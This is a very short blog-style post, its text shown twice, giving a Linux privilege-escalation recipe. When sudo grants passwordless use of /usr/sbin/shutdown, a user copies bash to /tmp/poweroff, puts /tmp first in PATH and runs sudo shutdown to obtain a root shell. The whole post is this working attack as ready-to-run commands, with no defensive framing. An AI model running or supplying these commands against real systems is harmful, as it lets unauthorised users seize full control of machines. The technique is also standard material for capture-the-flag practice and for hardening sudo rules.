(root) NOPASSWD: /usr/sbin/shutdown
. Do the following:
cp /bin/bash /tmp/poweroff
chmod +x /tmp/poweroff
export PATH=/tmp:$PATH
sudo /usr/sbin/shutdown
#now you are root
Search
Feb 09, 20251 min read
(root) NOPASSWD: /usr/sbin/shutdown
. Do the following:cp /bin/bash /tmp/poweroff
chmod +x /tmp/poweroff
export PATH=/tmp:$PATH
sudo /usr/sbin/shutdown
#now you are root